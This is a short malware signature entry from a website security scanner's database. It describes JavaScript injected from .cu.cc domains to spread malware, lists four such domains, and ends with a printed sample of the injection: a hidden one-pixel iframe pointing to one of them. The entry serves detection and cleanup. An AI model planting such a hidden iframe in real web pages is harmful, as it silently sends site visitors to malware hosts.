SiteCheck Signatures

  1. Home
  2. Signatures
  3. SiteCheck Signatures
  4. malware-entry-mwjs3023

malware-entry-mwjs3023

Description: Javascript included from a .cu.cc domain, used to distribute malware.

Domains used:


juddwashere.cu.cc
millair.cu.cc
merenaal.cu.cc
hcirfiwcsmo.cu.cc

Affecting: Any web site (no traffic specified)

Clean up: Malware is generally hidden behind a base64 encoded block on PHP. Sign up here for our clean up: http://sucuri.net/signup

Malware dump:


<iframe src='http://juddwashere.cu.cc/showthread.php?t=20170030' width='1' height='1' frameborder='0' >;